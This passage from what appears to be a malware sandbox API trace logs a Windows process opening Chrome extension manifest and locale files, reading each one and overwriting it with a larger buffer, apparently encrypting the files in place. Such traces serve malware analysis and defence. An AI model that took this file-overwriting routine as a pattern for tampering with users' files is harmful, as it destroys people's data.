lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.312] WriteFile (in: hFile=0x1bc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x658, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x304f2d0*=0x658, lpOverlapped=0x0) returned 1 [0055.313] CloseHandle (hObject=0x1bc) returned 1 [0055.313] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.314] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.314] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xde [0055.314] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.314] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.314] ReleaseMutex (hMutex=0x128) returned 1 [0055.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.314] ReadFile (in: hFile=0x1bc, lpBuffer=0x25c5178, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c5178*, lpNumberOfBytesRead=0x304f2bc*=0xde, lpOverlapped=0x0) returned 1 [0055.315] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.315] WriteFile (in: hFile=0x1bc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x666, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x666, lpOverlapped=0x0) returned 1 [0055.315] CloseHandle (hObject=0x1bc) returned 1 [0055.315] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.316] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.316] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x10e [0055.316] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.316] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.316] ReleaseMutex (hMutex=0x128) returned 1 [0055.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.316] ReadFile (in: hFile=0x1bc, lpBuffer=0x25fa608, nNumberOfBytesToRead=0x10e, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25fa608*, lpNumberOfBytesRead=0x304f2bc*=0x10e, lpOverlapped=0x0) returned 1 [0055.317] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.317] WriteFile (in: hFile=0x1bc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x696, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x696, lpOverlapped=0x0) returned 1 [0055.317] CloseHandle (hObject=0x1bc) returned 1 [0055.317] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.318] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.318] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x2d5 [0055.318] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.318] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.318] ReleaseMutex (hMutex=0x128) returned 1 [0055.318] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="manifest.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.318] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="manifest.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="manifest.json", lpUsedDefaultChar=0x0) returned 13 [0055.318] ReadFile (in: hFile=0x1bc, lpBuffer=0x275b028, nNumberOfBytesToRead=0x2d5, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x275b028*, lpNumberOfBytesRead=0x304f2bc*=0x2d5, lpOverlapped=0x0) returned 1 [0055.320] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.320] WriteFile (in: hFile=0x1bc, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x85d, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x304f2d0*=0x85d, lpOverlapped=0x0) returned 1 [0055.320] CloseHandle (hObject=0x1bc) returned 1 [0055.320] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.320] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.320] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xce [0055.321] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.321] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.321] ReleaseMutex (hMutex=0x128) returned 1 [0055.321] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.321] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.321] ReadFile (in: hFile=0x1bc, lpBuffer=0x1dae968, nNumberOfBytesToRead=0xce, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dae968*, lpNumberOfBytesRead=0x304f2bc*=0xce, lpOverlapped=0x0) returned 1 [0055.322] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.322] WriteFile (in: hFile=0x1bc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x656, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x304f2d0*=0x656, lpOverlapped=0x0) returned 1 [0055.322] CloseHandle (hObject=0x1bc) returned 1 [0055.322] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.323] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.323] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xd5 [0055.323] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.323] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.323] ReleaseMutex (hMutex=0x128) returned 1 [0055.323] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.323] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.323] ReadFile (in: hFile=0x1bc, lpBuffer=0x25c5178, nNumberOfBytesToRead=0xd5, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c5178*, lpNumberOfBytesRead=0x304f2bc*=0xd5, lpOverlapped=0x0) returned 1 [0055.324] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.324] WriteFile (in: hFile=0x1bc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x65d, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x304f2d0*=0x65d, lpOverlapped=0x0) returned 1 [0055.324] CloseHandle (hObject=0x1bc) returned 1 [0055.324] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.325] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.325] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xd0 [0055.325] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.325] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.325] ReleaseMutex (hMutex=0x128) returned 1 [0055.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.325] ReadFile (in: hFile=0x1bc, lpBuffer=0x1dae968, nNumberOfBytesToRead=0xd0, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dae968*, lpNumberOfBytesRead=0x304f2bc*=0xd0, lpOverlapped=0x0) returned 1 [0055.326] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.326] WriteFile (in: hFile=0x1bc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x658, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x304f2d0*=0x658, lpOverlapped=0x0) returned 1 [0055.326] CloseHandle (hObject=0x1bc) returned 1 [0055.326] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.327] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.327] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xe1 [0055.327] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.327] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.327] ReleaseMutex (hMutex=0x128) returned 1 [0055.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.327] ReadFile (in: hFile=0x1bc, lpBuffer=0x25c5178, nNumberOfBytesToRead=0xe1, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c5178*, lpNumberOfBytesRead=0x304f2bc*=0xe1, lpOverlapped=0x0) returned 1 [0055.328] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.328] WriteFile (in: hFile=0x1bc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x669, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x669, lpOverlapped=0x0) returned 1 [0055.328] CloseHandle (hObject=0x1bc) returned 1 [0055.328] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.329] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.329] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x103 [0055.329] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.329] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.329] ReleaseMutex (hMutex=0x128) returned 1 [0055.329] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.329] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.329] ReadFile (in: hFile=0x1bc, lpBuffer=0x1ddb648, nNumberOfBytesToRead=0x103, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddb648*, lpNumberOfBytesRead=0x304f2bc*=0x103, lpOverlapped=0x0) returned 1 [0055.330] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.330] WriteFile (in: hFile=0x1bc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x68b, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x68b, lpOverlapped=0x0) returned 1 [0055.330] CloseHandle (hObject=0x1bc) returned 1 [0055.330] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.331] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.331] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x101 [0055.331] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.331] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.331] ReleaseMutex (hMutex=0x128) returned 1 [0055.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.331] ReadFile (in: hFile=0x1bc, lpBuffer=0x1ddb648, nNumberOfBytesToRead=0x101, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddb648*, lpNumberOfBytesRead=0x304f2bc*=0x101, lpOverlapped=0x0) returned 1 [0055.332] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.332] WriteFile (in: hFile=0x1bc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x689, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x689, lpOverlapped=0x0) returned 1 [0055.332] CloseHandle (hObject=0x1bc) returned 1 [0055.332] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.333] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.333] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x119 [0055.333] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.333] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.333] ReleaseMutex (hMutex=0x128) returned 1 [0055.333] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.333] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.333] ReadFile (in: hFile=0x1bc, lpBuffer=0x2644ab8, nNumberOfBytesToRead=0x119, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2644ab8*, lpNumberOfBytesRead=0x304f2bc*=0x119, lpOverlapped=0x0) returned 1 [0055.334] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.334] WriteFile (in: hFile=0x1bc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6a1, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x6a1, lpOverlapped=0x0) returned 1 [0055.335] CloseHandle 